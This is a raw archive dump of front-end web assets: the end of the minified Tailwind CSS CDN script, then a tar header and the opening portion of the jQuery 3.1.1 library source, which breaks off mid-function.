dw,oO,mw=A(()=>{l();ui();dw=J(Zt()),oO=Ye(dw.default.theme)});var yw={};Ce(yw,{default:()=>lO});var gw,lO,ww=A(()=>{l();ui();gw=J(Zt()),lO=Ye(gw.default)});function bw(r,e){return{handler:r,config:e}}var vw,xw=A(()=>{l();bw.withOptions=function(r,e=()=>({})){let t=function(i){return{__options:i,handler:r(i),config:e(i)}};return t.__isOptionsFunction=!0,t.__pluginFunction=r,t.__configFunction=e,t};vw=bw});var kw={};Ce(kw,{default:()=>uO});var uO,Sw=A(()=>{l();xw();uO=vw});l();"use strict";var fO=We(qh()),cO=We(me()),pO=We(fw()),dO=We((pw(),cw)),hO=We((mw(),hw)),mO=We((ww(),yw)),gO=We((jn(),Xl)),yO=We((Sw(),kw)),wO=We((Qs(),zf));function We(r){return r&&r.__esModule?r:{default:r}}console.warn("cdn.tailwindcss.com should not be used in production. To use Tailwind CSS in production, install it as a PostCSS plugin or use the Tailwind CLI: https://tailwindcss.com/docs/installation");var Mn="tailwind",Pl="text/tailwindcss",Cw="/template.html",gt,_w=!0,Aw=0,Dl=new Set,ql,Ow="",Ew=(r=!1)=>({get(e,t){return(!r||t==="config")&&typeof e[t]=="object"&&e[t]!==null?new Proxy(e[t],Ew()):e[t]},set(e,t,i){return e[t]=i,(!r||t==="config")&&Il(!0),!0}});window[Mn]=new Proxy({config:{},defaultTheme:hO.default,defaultConfig:mO.default,colors:gO.default,plugin:yO.default,resolveConfig:wO.default},Ew(!0));function Tw(r){ql.observe(r,{attributes:!0,attributeFilter:["type"],characterData:!0,subtree:!0,childList:!0})}new MutationObserver(async r=>{let e=!1;if(!ql){ql=new MutationObserver(async()=>await Il(!0));for(let t of document.querySelectorAll(`style[type="${Pl}"]`))Tw(t)}for(let t of r)for(let i of t.addedNodes)i.nodeType===1&&i.tagName==="STYLE"&&i.getAttribute("type")===Pl&&(Tw(i),e=!0);await Il(e)}).observe(document.documentElement,{attributes:!0,attributeFilter:["class"],childList:!0,subtree:!0});async function Il(r=!1){r&&(Aw++,Dl.clear());let e="";for(let i of document.querySelectorAll(`style[type="${Pl}"]`))e+=i.textContent;let t=new Set;for(let i of document.querySelectorAll("[class]"))for(let n of i.classList)Dl.has(n)||t.add(n);if(document.body&&(_w||t.size>0||e!==Ow||!gt||!gt.isConnected)){for(let n of t)Dl.add(n);_w=!1,Ow=e,self[Cw]=Array.from(t).join(" ");let i=(0,cO.default)([(0,fO.default)({...window[Mn].config,_hash:Aw,content:[Cw],plugins:[...dO.default,...Array.isArray(window[Mn].config.plugins)?window[Mn].config.plugins:[]]}),(0,pO.default)({remove:!1})]).process(`@tailwind base;@tailwind components;@tailwind utilities;${e}`).css;(!gt||!gt.isConnected)&&(gt=document.createElement("style"),document.head.append(gt)),gt.textContent=i}}})(); /*! https://mths.be/cssesc v3.0.0 by @mathias */ jquery.min.js 0000674 00000506260 00000000000 0007160 0 ustar 00 /*! jQuery v3.1.1 | (c) jQuery Foundation | jquery.org/license */ !(function (a, b) { "use strict"; "object" == typeof module && "object" == typeof module.exports ? (module.exports = a.document ? b(a, !0) : function (a) { if (!a.document) throw new Error("jQuery requires a window with a document"); return b(a); }) : b(a); })("undefined" != typeof window ? window : this, function (a, b) { "use strict"; var c = [], d = a.document, e = Object.getPrototypeOf, f = c.slice, g = c.concat, h = c.push, i = c.indexOf, j = {}, k = j.toString, l = j.hasOwnProperty, m = l.toString, n = m.call(Object), o = {}; function p(a, b) { b = b || d; var c = b.createElement("script"); (c.text = a), b.head.appendChild(c).parentNode.removeChild(c); } var q = "3.1.1", r = function (a, b) { return new r.fn.init(a, b); }, s = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, t = /^-ms-/, u = /-([a-z])/g, v = function (a, b) { return b.toUpperCase(); }; (r.fn = r.prototype = { jquery: q, constructor: r, length: 0, toArray: function () { return f.call(this); }, get: function (a) { return null == a ? f.call(this) : a < 0 ? this[a + this.length] : this[a]; }, pushStack: function (a) { var b = r.merge(this.constructor(), a); return (b.prevObject = this), b; }, each: function (a) { return r.each(this, a); }, map: function (a) { return this.pushStack( r.map(this, function (b, c) { return a.call(b, c, b); }) ); }, slice: function () { return this.pushStack(f.apply(this, arguments)); }, first: function () { return this.eq(0); }, last: function () { return this.eq(-1); }, eq: function (a) { var b = this.length, c = +a + (a < 0 ? b : 0); return this.pushStack(c >= 0 && c < b ? [this[c]] : []); }, end: function () { return this.prevObject || this.constructor(); }, push: h, sort: c.sort, splice: c.splice, }), (r.extend = r.fn.extend = function () { var a, b, c, d, e, f, g = arguments[0] || {}, h = 1, i = arguments.length, j = !1; for ( "boolean" == typeof g && ((j = g), (g = arguments[h] || {}), h++), "object" == typeof g || r.isFunction(g) || (g = {}), h === i && ((g = this), h--); h < i; h++ ) if (null != (a = arguments[h])) for (b in a) (c = g[b]), (d = a[b]), g !== d && (j && d && (r.isPlainObject(d) || (e = r.isArray(d))) ? (e ? ((e = !1), (f = c && r.isArray(c) ? c : [])) : (f = c && r.isPlainObject(c) ? c : {}), (g[b] = r.extend(j, f, d))) : void 0 !== d && (g[b] = d)); return g; }), r.extend({ expando: "jQuery" + (q + Math.random()).replace(/\D/g, ""), isReady: !0, error: function (a) { throw new Error(a); }, noop: function () {}, isFunction: function (a) { return "function" === r.type(a); }, isArray: Array.isArray, isWindow: function (a) { return null != a && a === a.window; }, isNumeric: function (a) { var b = r.type(a); return ("number" === b || "string" === b) && !isNaN(a - parseFloat(a)); }, isPlainObject: function (a) { var b, c; return ( !(!a || "[object Object]" !== k.call(a)) && (!(b = e(a)) || ((c = l.call(b, "constructor") && b.constructor), "function" == typeof c && m.call(c) === n)) ); }, isEmptyObject: function (a) { var b; for (b in a) return !1; return !0; }, type: function (a) { return null == a ? a + "" : "object" == typeof a || "function" == typeof a ? j[k.call(a)] || "object" : typeof a; }, globalEval: function (a) { p(a); }, camelCase: function (a) { return a.replace(t, "ms-").replace(u, v); }, nodeName: function (a, b) { return a.nodeName && a.nodeName.toLowerCase() === b.toLowerCase(); }, each: function (a, b) { var c, d = 0; if (w(a)) { for (c = a.length; d < c; d++) if (b.call(a[d], d, a[d]) === !1) break; } else for (d in a) if (b.call(a[d], d, a[d]) === !1) break; return a; }, trim: function (a) { return null == a ? "" : (a + "").replace(s, ""); }, makeArray: function (a, b) { var c = b || []; return ( null != a && (w(Object(a)) ? r.merge(c, "string" == typeof a ? [a] : a) : h.call(c, a)), c ); }, inArray: function (a, b, c) { return null == b ? -1 : i.call(b, a, c); }, merge: function (a, b) { for (var c = +b.length, d = 0, e = a.length; d < c; d++) a[e++] = b[d]; return (a.length = e), a; }, grep: function (a, b, c) { for (var d, e = [], f = 0, g = a.length, h = !c; f < g; f++) (d = !b(a[f], f)), d !== h && e.push(a[f]); return e; }, map: function (a, b, c) { var d, e, f = 0, h = []; if (w(a)) for (d = a.length; f < d; f++) (e = b(a[f], f, c)), null != e && h.push(e); else for (f in a) (e = b(a[f], f, c)), null != e && h.push(e); return g.apply([], h); }, guid: 1, proxy: function (a, b) { var c, d, e; if ( ("string" == typeof b && ((c = a[b]), (b = a), (a = c)), r.isFunction(a)) ) return ( (d = f.call(arguments, 2)), (e = function () { return a.apply(b || this, d.concat(f.call(arguments))); }), (e.guid = a.guid = a.guid || r.guid++), e ); }, now: Date.now, support: o, }), "function" == typeof Symbol && (r.fn[Symbol.iterator] = c[Symbol.iterator]), r.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), function (a, b) { j["[object " + b + "]"] = b.toLowerCase(); } ); function w(a) { var b = !!a && "length" in a && a.length, c = r.type(a); return ( "function" !== c && !r.isWindow(a) && ("array" === c || 0 === b || ("number" == typeof b && b > 0 && b - 1 in a)) ); } var x = (function (a) { var b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u = "sizzle" + 1 * new Date(), v = a.document, w = 0, x = 0, y = ha(), z = ha(), A = ha(), B = function (a, b) { return a === b && (l = !0), 0; }, C = {}.hasOwnProperty, D = [], E = D.pop, F = D.push, G = D.push, H = D.slice, I = function (a, b) { for (var c = 0, d = a.length; c < d; c++) if (a[c] === b) return c; return -1; }, J = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", K = "[\\x20\\t\\r\\n\\f]", L = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+", M = "\\[" + K + "*(" + L + ")(?:" + K + "*([*^$|!~]?=)" + K + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + L + "))|)" + K + "*\\]", N = ":(" + L + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + M + ")*)|.*)\\)|)", O = new RegExp(K + "+", "g"), P = new RegExp("^" + K + "+|((?:^|[^\\\\])(?:\\\\.)*)" + K + "+$", "g"), Q = new RegExp("^" + K + "*," + K + "*"), R = new RegExp("^" + K + "*([>+~]|" + K + ")" + K + "*"), S = new RegExp("=" + K + "*([^\\]'\"]*?)" + K + "*\\]", "g"), T = new RegExp(N), U = new RegExp("^" + L + "$"), V = { ID: new RegExp("^#(" + L + ")"), CLASS: new RegExp("^\\.(" + L + ")"), TAG: new RegExp("^(" + L + "|[*])"), ATTR: new RegExp("^" + M), PSEUDO: new RegExp("^" + N), CHILD: new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + K + "*(even|odd|(([+-]|)(\\d*)n|)" + K + "*(?:([+-]|)" + K + "*(\\d+)|))" + K + "*\\)|)", "i" ), bool: new RegExp("^(?:" + J + ")$", "i"), needsContext: new RegExp( "^" + K + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + K + "*((?:-\\d)?\\d*)" + K + "*\\)|)(?=[^-]|$)", "i" ), }, W = /^(?:input|select|textarea|button)$/i, X = /^h\d$/i, Y = /^[^{]+\{\s*\[native \w/, Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, $ = /[+~]/, _ = new RegExp("\\\\([\\da-f]{1,6}" + K + "?|(" + K + ")|.)", "ig"), aa = function (a, b, c) { var d = "0x" + b - 65536; return d !== d || c ? b : d < 0 ? String.fromCharCode(d + 65536) : String.fromCharCode((d >> 10) | 55296, (1023 & d) | 56320); }, ba = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g, ca = function (a, b) { return b ? "\0" === a ? "\ufffd" : a.slice(0, -1) + "\\" + a.charCodeAt(a.length - 1).toString(16) + " " : "\\" + a; }, da = function () { m(); }, ea = ta( function (a) { return a.disabled === !0 && ("form" in a || "label" in a); }, { dir: "parentNode", next: "legend" } ); try { G.apply((D = H.call(v.childNodes)), v.childNodes), D[v.childNodes.length].nodeType; } catch (fa) { G = { apply: D.length ? function (a, b) { F.apply(a, H.call(b)); } : function (a, b) { var c = a.length, d = 0; while ((a[c++] = b[d++])); a.length = c - 1; }, }; } function ga(a, b, d, e) { var f, h, j, k, l, o, r, s = b && b.ownerDocument, w = b ? b.nodeType : 9; if ( ((d = d || []), "string" != typeof a || !a || (1 !== w && 9 !== w && 11 !== w)) ) return d; if ( !e && ((b ? b.ownerDocument || b : v) !== n && m(b), (b = b || n), p) ) { if (11 !== w && (l = Z.exec(a))) if ((f = l[1])) { if (9 === w) { if (!(j = b.getElementById(f))) return d; if (j.id === f) return d.push(j), d; } else if (s && (j = s.getElementById(f)) && t(b, j) && j.id === f) return d.push(j), d; } else { if (l[2]) return G.apply(d, b.getElementsByTagName(a)), d; if ( (f = l[3]) && c.getElementsByClassName && b.getElementsByClassName ) return G.apply(d, b.getElementsByClassName(f)), d; } if (c.qsa && !A[a + " "] && (!q || !q.test(a))) { if (1 !== w) (s = b), (r = a); else if ("object" !== b.nodeName.toLowerCase()) { (k = b.getAttribute("id")) ? (k = k.replace(ba, ca)) : b.setAttribute("id", (k = u)), (o = g(a)), (h = o.length); while (h--) o[h] = "#" + k + " " + sa(o[h]); (r = o.join(",")), (s = ($.test(a) && qa(b.parentNode)) || b); } if (r) try { return G.apply(d, s.querySelectorAll(r)), d; } catch (x) { } finally { k === u && b.removeAttribute("id"); } } } return i(a.replace(P, "$1"), b, d, e); } function ha() { var a = []; function b(c, e) { return ( a.push(c + " ") > d.cacheLength && delete b[a.shift()], (b[c + " "] = e) ); } return b; } function ia(a) { return (a[u] = !0), a; } function ja(a) { var b = n.createElement("fieldset"); try { return !!a(b); } catch (c) { return !1; } finally { b.parentNode && b.parentNode.removeChild(b), (b = null); } } function ka(a, b) { var c = a.split("|"), e = c.length; while (e--) d.attrHandle[c[e]] = b; } function la(a, b) { var c = b && a, d = c && 1 === a.nodeType && 1 === b.nodeType && a.sourceIndex - b.sourceIndex; if (d) return d; if (c) while ((c = c.nextSibling)) if (c === b) return -1; return a ? 1 : -1; } function ma(a) { return function (b) { var c = b.nodeName.toLowerCase(); return "input" === c && b.type === a; }; } function na(a) { return function (b) { var c = b.nodeName.toLowerCase(); return ("input" === c || "button" === c) && b.type === a; }; } function oa(a) { return function (b) { return "form" in b ? b.parentNode && b.disabled === !1 ? "label" in b ? "label" in b.parentNode ? b.parentNode.disabled === a : b.disabled === a : b.isDisabled === a || (b.isDisabled !== !a && ea(b) === a) : b.disabled === a : "label" in b && b.disabled === a; }; } function pa(a) { return ia(function (b) { return ( (b = +b), ia(function (c, d) { var e, f = a([], c.length, b), g = f.length; while (g--) c[(e = f[g])] && (c[e] = !(d[e] = c[e])); }) ); }); } function qa(a) { return a && "undefined" != typeof a.getElementsByTagName && a; } (c = ga.support = {}), (f = ga.isXML = function (a) { var b = a && (a.ownerDocument || a).documentElement; return !!b && "HTML" !== b.nodeName; }), (m = ga.setDocument = function (a) { var b, e, g = a ? a.ownerDocument || a : v; return g !== n && 9 === g.nodeType && g.documentElement ? ((n = g), (o = n.documentElement), (p = !f(n)), v !== n && (e = n.defaultView) && e.top !== e && (e.addEventListener ? e.addEventListener("unload", da, !1) : e.attachEvent && e.attachEvent("onunload", da)), (c.attributes = ja(function (a) { return (a.className = "i"), !a.getAttribute("className"); })), (c.getElementsByTagName = ja(function (a) { return ( a.appendChild(n.createComment("")), !a.getElementsByTagName("*").length ); })), (c.getElementsByClassName = Y.test(n.getElementsByClassName)), (c.getById = ja(function (a) { return ( (o.appendChild(a).id = u), !n.getElementsByName || !n.getElementsByName(u).length ); })), c.getById ? ((d.filter.ID = function (a) { var b = a.replace(_, aa); return function (a) { return a.getAttribute("id") === b; }; }), (d.find.ID = function (a, b) { if ("undefined" != typeof b.getElementById && p) { var c = b.getElementById(a); return c ? [c] : []; } })) : ((d.filter.ID = function (a) { var b = a.replace(_, aa); return function (a) { var c = "undefined" != typeof a.getAttributeNode && a.getAttributeNode("id"); return c && c.value === b; }; }), (d.find.ID = function (a, b) { if ("undefined" != typeof b.getElementById && p) { var c, d, e, f = b.getElementById(a); if (f) { if ( ((c = f.getAttributeNode("id")), c && c.value === a) ) return [f]; (e = b.getElementsByName(a)), (d = 0); while ((f = e[d++])) if ( ((c = f.getAttributeNode("id")), c && c.value === a) ) return [f]; } return []; } })), (d.find.TAG = c.getElementsByTagName ? function (a, b) { return "undefined" != typeof b.getElementsByTagName ? b.getElementsByTagName(a) : c.qsa ? b.querySelectorAll(a) : void 0; } : function (a, b) { var c, d = [], e = 0, f = b.getElementsByTagName(a); if ("*" === a) { while ((c = f[e++])) 1 === c.nodeType && d.push(c); return d; } return f; }), (d.find.CLASS = c.getElementsByClassName && function (a, b) { if ("undefined" != typeof b.getElementsByClassName && p) return b.getElementsByClassName(a); }), (r = []), (q = []), (c.qsa = Y.test(n.querySelectorAll)) && (ja(function (a) { (o.appendChild(a).innerHTML = "<a id='" + u + "'></a><select id='" + u + "-\r\\' msallowcapture=''><option selected=''></option></select>"), a.querySelectorAll("[msallowcapture^='']").length && q.push("[*^$]=" + K + "*(?:''|\"\")"), a.querySelectorAll("[selected]").length || q.push("\\[" + K + "*(?:value|" + J + ")"), a.querySelectorAll("[id~=" + u + "-]").length || q.push("~="), a.querySelectorAll(":checked").length || q.push(":checked"), a.querySelectorAll("a#" + u + "+*").length || q.push(".#.+[+~]"); }), ja(function (a) { a.innerHTML = "<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>"; var b = n.createElement("input"); b.setAttribute("type", "hidden"), a.appendChild(b).setAttribute("name", "D"), a.querySelectorAll("[name=d]").length && q.push("name" + K + "*[*^$|!~]?="), 2 !== a.querySelectorAll(":enabled").length && q.push(":enabled", ":disabled"), (o.appendChild(a).disabled = !0), 2 !== a.querySelectorAll(":disabled").length && q.push(":enabled", ":disabled"), a.querySelectorAll("*,:x"), q.push(",.*:"); })), (c.matchesSelector = Y.test( (s = o.matches || o.webkitMatchesSelector || o.mozMatchesSelector || o.oMatchesSelector || o.msMatchesSelector) )) && ja(function (a) { (c.disconnectedMatch = s.call(a, "*")), s.call(a, "[s!='']:x"), r.push("!=", N); }), (q = q.length && new RegExp(q.join("|"))), (r = r.length && new RegExp(r.join("|"))), (b = Y.test(o.compareDocumentPosition)), (t = b || Y.test(o.contains) ? function (a, b) { var c = 9 === a.nodeType ? a.documentElement : a, d = b && b.parentNode; return ( a === d || !( !d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition && 16 & a.compareDocumentPosition(d)) ) ); } : function (a, b) { if (b) while ((b = b.parentNode)) if (b === a) return !0; return !1; }), (B = b ? function (a, b) { if (a === b) return (l = !0), 0; var d = !a.compareDocumentPosition - !b.compareDocumentPosition; return d ? d : ((d = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1), 1 & d || (!c.sortDetached && b.compareDocumentPosition(a) === d) ? a === n || (a.ownerDocument === v && t(v, a)) ? -1 : b === n || (b.ownerDocument === v && t(v, b)) ? 1 : k ? I(k, a) - I(k, b) : 0 : 4 & d ? -1 : 1); } : function (a, b) { if (a === b) return (l = !0), 0; var c, d = 0, e = a.parentNode, f = b.parentNode, g = [a], h = [b]; if (!e || !f) return a === n ? -1 : b === n ? 1 : e ? -1 : f ? 1 : k ? I(k, a) - I(k, b) : 0; if (e === f) return la(a, b); c = a; while ((c = c.parentNode)) g.unshift(c); c = b; while ((c = c.parentNode)) h.unshift(c); while (g[d] === h[d]) d++; return d ? la(g[d], h[d]) : g[d] === v ? -1 : h[d] === v ? 1 : 0; }), n) : n; }), (ga.matches = function (a, b) { return ga(a, null, null, b); }), (ga.matchesSelector = function (a, b) { if ( ((a.ownerDocument || a) !== n && m(a), (b = b.replace(S, "='$1']")), c.matchesSelector && p && !A[b + " "] && (!r || !r.test(b)) && (!q || !q.test(b))) ) try { var d = s.call(a, b); if ( d || c.disconnectedMatch || (a.document && 11 !== a.document.nodeType) ) return d; } catch (e) {} return ga(b, n, null, [a]).length > 0; }), (ga.contains = function (a, b) { return (a.ownerDocument || a) !== n && m(a), t(a, b); }), (ga.attr = function (a, b) { (a.ownerDocument || a) !== n && m(a); var e = d.attrHandle[b.toLowerCase()], f = e && C.call(d.attrHandle, b.toLowerCase()) ? e(a, b, !p) : void 0; return void 0 !== f ? f : c.attributes || !p ? a.getAttribute(b) : (f = a.getAttributeNode(b)) && f.specified ? f.value : null; }), (ga.escape = function (a) { return (a + "").replace(ba, ca); }), (ga.error = function (a) { throw new Error("Syntax error, unrecognized expression: " + a); }), (ga.uniqueSort = function (a) { var b, d = [], e = 0, f = 0; if ( ((l = !c.detectDuplicates), (k = !c.sortStable && a.slice(0)), a.sort(B), l) ) { while ((b = a[f++])) b === a[f] && (e = d.push(f)); while (e--) a.splice(d[e], 1); } return (k = null), a; }), (e = ga.getText = function (a) { var b, c = "", d = 0, f = a.nodeType; if (f) { if (1 === f || 9 === f || 11 === f) { if ("string" == typeof a.textContent) return a.textContent; for (a = a.firstChild; a; a = a.nextSibling) c += e(a); } else if (3 === f || 4 === f) return a.nodeValue; } else while ((b = a[d++])) c += e(b); return c; }), (d = ga.selectors = { cacheLength: 50, createPseudo: ia, match: V, attrHandle: {}, find: {}, relative: { ">": { dir: "parentNode", first: !0 }, " ": { dir: "parentNode" }, "+": { dir: "previousSibling", first: !0 }, "~": { dir: "previousSibling" }, }, preFilter: { ATTR: function (a) { return ( (a[1] = a[1].replace(_, aa)), (a[3] = (a[3] || a[4] || a[5] || "").replace(_, aa)), "~=" === a[2] && (a[3] = " " + a[3] + " "), a.slice(0, 4) ); }, CHILD: function (a) { return ( (a[1] = a[1].toLowerCase()), "nth" === a[1].slice(0, 3) ? (a[3] || ga.error(a[0]), (a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * ("even" === a[3] || "odd" === a[3]))), (a[5] = +(a[7] + a[8] || "odd" === a[3]))) : a[3] && ga.error(a[0]), a ); }, PSEUDO: function (a) { var b, c = !a[6] && a[2]; return V.CHILD.test(a[0]) ? null : (a[3] ? (a[2] = a[4] || a[5] || "") : c && T.test(c) && (b = g(c, !0)) && (b = c.indexOf(")", c.length - b) - c.length) && ((a[0] = a[0].slice(0, b)), (a[2] = c.slice(0, b))), a.slice(0, 3)); }, }, filter: { TAG: function (a) { var b = a.replace(_, aa).toLowerCase(); return "*" === a ? function () { return !0; } : function (a) { return a.nodeName && a.nodeName.toLowerCase() === b; }; }, CLASS: function (a) { var b = y[a + " "]; return ( b || ((b = new RegExp("(^|" + K + ")" + a + "(" + K + "|$)")) && y(a, function (a) { return b.test( ("string" == typeof a.className && a.className) || ("undefined" != typeof a.getAttribute && a.getAttribute("class")) || "" ); })) ); }, ATTR: function (a, b, c) { return function (d) { var e = ga.attr(d, a); return null == e ? "!=" === b : !b || ((e += ""), "=" === b ? e === c : "!=" === b ? e !== c : "^=" === b ? c && 0 === e.indexOf(c) : "*=" === b ? c && e.indexOf(c) > -1 : "$=" === b ? c && e.slice(-c.length) === c : "~=" === b ? (" " + e.replace(O, " ") + " ").indexOf(c) > -1 : "|=" === b && (e === c || e.slice(0, c.length + 1) === c + "-")); }; }, CHILD: function (a, b, c, d, e) { var f = "nth" !== a.slice(0, 3), g = "last" !== a.slice(-4), h = "of-type" === b; return 1 === d && 0 === e ? function (a) { return !!a.parentNode; } : function (b, c, i) { var j, k, l, m, n, o, p = f !== g ? "nextSibling" : "previousSibling", q = b.parentNode, r = h && b.nodeName.toLowerCase(), s = !i && !h, t = !1; if (q) { if (f) { while (p) { m = b; while ((m = m[p])) if ( h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType ) return !1; o = p = "only" === a && !o && "nextSibling"; } return !0; } if (((o = [g ? q.firstChild : q.lastChild]), g && s)) { (m = q), (l = m[u] || (m[u] = {})), (k = l[m.uniqueID] || (l[m.uniqueID] = {})), (j = k[a] || []), (n = j[0] === w && j[1]), (t = n && j[2]), (m = n && q.childNodes[n]); while ( (m = (++n && m && m[p]) || (t = n = 0) || o.pop()) ) if (1 === m.nodeType && ++t && m === b) { k[a] = [w, n, t]; break; } } else if ( (s && ((m = b), (l = m[u] || (m[u] = {})), (k = l[m.uniqueID] || (l[m.uniqueID] = {})), (j = k[a] || []), (n = j[0] === w && j[1]), (t = n)), t === !1) ) while ( (m = (++n && m && m[p]) || (t = n = 0) || o.pop()) ) if ( (h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType) && ++t && (s && ((l = m[u] || (m[u] = {})), (k = l[m.uniqueID] || (l[m.uniqueID] = {})), (k[a] = [w, t])), m === b) ) break; return (t -= e), t === d || (t % d === 0 && t / d >= 0); } }; }, PSEUDO: function (a, b) { var c, e = d.pseudos[a] || d.setFilters[a.toLowerCase()] || ga.error("unsupported pseudo: " + a); return e[u] ? e(b) : e.length > 1 ? ((c = [a, a, "", b]), d.setFilters.hasOwnProperty(a.toLowerCase()) ? ia(function (a, c) { var d, f = e(a, b), g = f.length; while (g--) (d = I(a, f[g])), (a[d] = !(c[d] = f[g])); }) : function (a) { return e(a, 0, c); }) : e; }, }, pseudos: { not: ia(function (a) { var b = [], c = [], d = h(a.replace(P, "$1")); return d[u] ? ia(function (a, b, c, e) { var f, g = d(a, null, e, []), h = a.length; while (h--) (f = g[h]) && (a[h] = !(b[h] = f)); }) : function (a, e, f) { return ( (b[0] = a), d(b, null, f, c), (b[0] = null), !c.pop() ); }; }), has: ia(function (a) { return function (b) { return ga(a, b).length > 0; }; }), contains: ia(function (a) { return ( (a = a.replace(_, aa)), function (b) { return (b.textContent || b.innerText || e(b)).indexOf(a) > -1; } ); }), lang: ia(function (a) { return ( U.test(a || "") || ga.error("unsupported lang: " + a), (a = a.replace(_, aa).toLowerCase()), function (b) { var c; do if ( (c = p ? b.lang : b.getAttribute("xml:lang") || b.getAttribute("lang")) ) return ( (c = c.toLowerCase()), c === a || 0 === c.indexOf(a + "-") ); while ((b = b.parentNode) && 1 === b.nodeType); return !1; } ); }), target: function (b) { var c = a.location && a.location.hash; return c && c.slice(1) === b.id; }, root: function (a) { return a === o; }, focus: function (a) { return ( a === n.activeElement && (!n.hasFocus || n.hasFocus()) && !!(a.type || a.href || ~a.tabIndex) ); }, enabled: oa(!1), disabled: oa(!0), checked: function (a) { var b = a.nodeName.toLowerCase(); return ( ("input" === b && !!a.checked) || ("option" === b && !!a.selected) ); }, selected: function (a) { return ( a.parentNode && a.parentNode.selectedIndex, a.selected === !0 ); }, empty: function (a) { for (a = a.firstChild; a; a = a.nextSibling) if (a.nodeType < 6) return !1; return !0; }, parent: function (a) { return !d.pseudos.empty(a); }, header: function (a) { return X.test(a.nodeName); }, input: function (a) { return W.test(a.nodeName); }, button: function (a) { var b = a.nodeName.toLowerCase(); return ("input" === b && "button" === a.type) || "button" === b; }, text: function (a) { var b; return ( "input" === a.nodeName.toLowerCase() && "text" === a.type && (null == (b = a.getAttribute("type")) || "text" === b.toLowerCase()) ); }, first: pa(function () { return [0]; }), last: pa(function (a, b) { return [b - 1]; }), eq: pa(function (a, b, c) { return [c < 0 ? c + b : c]; }), even: pa(function (a, b) { for (var c = 0; c < b; c += 2) a.push(c); return a; }), odd: pa(function (a, b) { for (var c = 1; c < b; c += 2) a.push(c); return a; }), lt: pa(function (a, b, c) { for (var d = c < 0 ? c + b : c; --d >= 0; ) a.push(d); return a; }), gt: pa(function (a, b, c) { for (var d = c < 0 ? c + b : c; ++d < b; ) a.push(d); return a; }), }, }), (d.pseudos.nth = d.pseudos.eq); for (b in { radio: !0, checkbox: !0, file: !0, password: !0, image: !0 }) d.pseudos[b] = ma(b); for (b in { submit: !0, reset: !0 }) d.pseudos[b] = na(b); function ra() {} (ra.prototype = d.filters = d.pseudos), (d.setFilters = new ra()), (g = ga.tokenize = function (a, b) { var c, e, f, g, h, i, j, k = z[a + " "]; if (k) return b ? 0 : k.slice(0); (h = a), (i = []), (j = d.preFilter); while (h) { (c && !(e = Q.exec(h))) || (e && (h = h.slice(e[0].length) || h), i.push((f = []))), (c = !1), (e = R.exec(h)) && ((c = e.shift()), f.push({ value: c, type: e[0].replace(P, " ") }), (h = h.slice(c.length))); for (g in d.filter) !(e = V[g].exec(h)) || (j[g] && !(e = j[g](e))) || ((c = e.shift()), f.push({ value: c, type: g, matches: e }), (h = h.slice(c.length))); if (!c) break; } return b ? h.length : h ? ga.error(a) : z(a, i).slice(0); }); function sa(a) { for (var b = 0, c = a.length, d = ""; b < c; b++) d += a[b].value; return d; } function ta(a, b, c) { var d = b.dir, e = b.next, f = e || d, g = c && "parentNode" === f, h = x++; return b.first ? function (b, c, e) { while ((b = b[d])) if (1 === b.nodeType || g) return a(b, c, e); return !1; } : function (b, c, i) { var j, k, l, m = [w, h]; if (i) { while ((b = b[d])) if ((1 === b.nodeType || g) && a(b, c, i)) return !0; } else while ((b = b[d])) if (1 === b.nodeType || g) if ( ((l = b[u] || (b[u] = {})), (k = l[b.uniqueID] || (l[b.uniqueID] = {})), e && e === b.nodeName.toLowerCase()) ) b = b[d] || b; else { if ((j = k[f]) && j[0] === w && j[1] === h) return (m[2] = j[2]); if (((k[f] = m), (m[2] = a(b, c, i)))) return !0; } return !1; }; } function ua(a) { return a.length > 1 ? function (b, c, d) { var e = a.length; while (e--) if (!a[e](b, c, d)) return !1; return !0; } : a[0]; } function va(a, b, c) { for (var d = 0, e = b.length; d < e; d++) ga(a, b[d], c); return c; } function wa(a, b, c, d, e) { for (var f, g = [], h = 0, i = a.length, j = null != b; h < i; h++) (f = a[h]) && ((c && !c(f, d, e)) || (g.push(f), j && b.push(h))); return g; } function xa(a, b, c, d, e, f) { return ( d && !d[u] && (d = xa(d)), e && !e[u] && (e = xa(e, f)), ia(function (f, g, h, i) { var j, k, l, m = [], n = [], o = g.length, p = f || va(b || "*", h.nodeType ? [h] : h, []), q = !a || (!f && b) ? p : wa(p, m, a, h, i), r = c ? (e || (f ? a : o || d) ? [] : g) : q; if ((c && c(q, r, h, i), d)) { (j = wa(r, n)), d(j, [], h, i), (k = j.length); while (k--) (l = j[k]) && (r[n[k]] = !(q[n[k]] = l)); } if (f) { if (e || a) { if (e) { (j = []), (k = r.length); while (k--) (l = r[k]) && j.push((q[k] = l)); e(null, (r = []), j, i); } k = r.length; while (k--) (l = r[k]) && (j = e ? I(f, l) : m[k]) > -1 && (f[j] = !(g[j] = l)); } } else (r = wa(r === g ? r.splice(o, r.length) : r)), e ? e(null, g, r, i) : G.apply(g, r); }) ); } function ya(a) { for ( var b, c, e, f = a.length, g = d.relative[a[0].type], h = g || d.relative[" "], i = g ? 1 : 0, k = ta( function (a) { return a === b; }, h, !0 ), l = ta( function (a) { return I(b, a) > -1; }, h, !0 ), m = [ function (a, c, d) { var e = (!g && (d || c !== j)) || ((b = c).nodeType ? k(a, c, d) : l(a, c, d)); return (b = null), e; }, 